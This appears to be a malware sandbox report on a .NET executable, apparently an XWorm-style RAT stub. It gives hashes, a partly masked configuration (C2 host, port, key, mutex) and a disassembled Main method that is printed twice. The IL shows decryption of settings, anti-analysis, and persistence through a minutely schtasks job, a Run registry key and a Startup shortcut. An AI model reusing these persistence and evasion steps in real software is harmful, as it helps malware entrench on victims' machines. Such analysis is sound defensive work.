Malicious
Malicious

d7504bf7a60e5a416cb0d31128122e8c

PE Executable
MD5: d7504bf7a60e5a416cb0d31128122e8c
Size: 41.98 KB
application/x-dosexec
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Symbol Obfuscation Score Low
MD5 d7504bf7a60e5a416cb0d31128122e8c
Sha1 296e7c1661cba40ba2916b39b95bb3566458d877
Sha256 5ae300101bef874b2d8e9dc927571074d7cd6c706903f4a23d91bf0c2943e256
Sha384 172e733d89a655617c3a0384d4f325729dcac6cfb4da1b68a2cc88760b1af4d3011a8b2624f183880ddda722c62344db
Sha512 7717c23b0b6a697f221377d18b5891db0a36754448f63ad5f61d635a3b055a2d7848e48c70355852f63a7a5edf40d32389a80db7080183938a2e34f35311129d
SSDeep 768:GfexpDjF7XwYMss1ewoGxIY0JF5Pw9pQE6iOwhb3Wf:GmDlTwXJEBq4FK92E6iOwxc
TLSH F3133A047B958625E5FEABB419B266070731E6039D23D79E0CE892DB1B6BBC0CE407D7
PeID
.NET executableMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual Studio .NET
d7504bf7a60e5a416cb0d31128122e8c
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
Path pe:exe>pe:rsrc>bin
Shape pe:exe>pe:rsrc>bin
malicious 3 nodes
Config. Field Value
Mutex nPl9zhuhuhuhuhuhuhu
Hosts 188.huhuhuhuhuhuhu
Port 6huhuhuhu
KEY <ARThuhuhuhuhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Lochuhuhuhuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
System.exe
Full Name
System.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
System.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
System
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
242
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
318
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String Settings::InstallDir
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::InstallStr
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00D8: call System.Void Stub.Main::RunAntiAnalysis()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_00EE: call System.Void Stub.Main::Exclusion()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00EE: call System.Void Stub.Main::Exclusion()
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.FileSystemInfo::get_FullName()
stloc.s V_5
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_0135: ldloc.0
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_014C: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0177: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0177: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01DD: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_0221: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_8
ldloc.s V_8
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0242: call My.MyComputer My.MyProject::get_Computer()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0242: call My.MyComputer My.MyProject::get_Computer()
call My.MyComputer My.MyProject::get_Computer()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_027D: ldc.i4.7
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_11
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_027D: ldc.i4.7
ldc.i4.7 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldstr .lnk
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldstr WScript.Shell
ldstr 
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldstr CreateShortcut
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldloc.s V_12
stelem.ref <null>
ldloc.s V_15
stloc.s V_16
ldloc.s V_16
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0302: stloc.s V_18
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldstr TargetPath
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr WorkingDirectory
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr 
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr Save
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldnull <null>
stloc.s V_18
ldloc.s V_12
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Stub.Helper::fileStream
leave.s IL_0381: call System.Void Stub.Helper::PreventSleep()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0381: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_03AD: ldnull
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
System.exe
Full Name
System.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
System.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
System
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
242
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
318
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String Settings::InstallDir
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::InstallStr
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00D8: call System.Void Stub.Main::RunAntiAnalysis()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_00EE: call System.Void Stub.Main::Exclusion()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00EE: call System.Void Stub.Main::Exclusion()
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.FileSystemInfo::get_FullName()
stloc.s V_5
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_0135: ldloc.0
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_014C: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0177: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0177: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01DD: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_0221: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_8
ldloc.s V_8
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0242: call My.MyComputer My.MyProject::get_Computer()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0242: call My.MyComputer My.MyProject::get_Computer()
call My.MyComputer My.MyProject::get_Computer()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_027D: ldc.i4.7
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_11
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_027D: ldc.i4.7
ldc.i4.7 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldstr .lnk
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldstr WScript.Shell
ldstr 
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldstr CreateShortcut
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldloc.s V_12
stelem.ref <null>
ldloc.s V_15
stloc.s V_16
ldloc.s V_16
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0302: stloc.s V_18
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldstr TargetPath
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr WorkingDirectory
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr 
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr Save
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldnull <null>
stloc.s V_18
ldloc.s V_12
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Stub.Helper::fileStream
leave.s IL_0381: call System.Void Stub.Helper::PreventSleep()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0381: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_03AD: ldnull
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Mutex MUTEXmalicious
nPl9zhuhuhuhuhuhuhu
CnC CNCmalicious
188.huhuhuhuhuhuhu
Port PORTmalicious
6huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
d7504bf7a60e5a416cb0d31128122e8c
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Config. Field Value
Mutex nPl9zhuhuhuhuhuhuhu
Hosts 188.huhuhuhuhuhuhu
Port 6huhuhuhu
KEY <ARThuhuhuhuhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Lochuhuhuhuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Mutex MUTEXmalicious
nPl9zhuhuhuhuhuhuhu
d7504bf7a60e5a416cb0d31128122e8c
CnC CNCmalicious
188.huhuhuhuhuhuhu
d7504bf7a60e5a416cb0d31128122e8c
Port PORTmalicious
6huhuhuhu
d7504bf7a60e5a416cb0d31128122e8c
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
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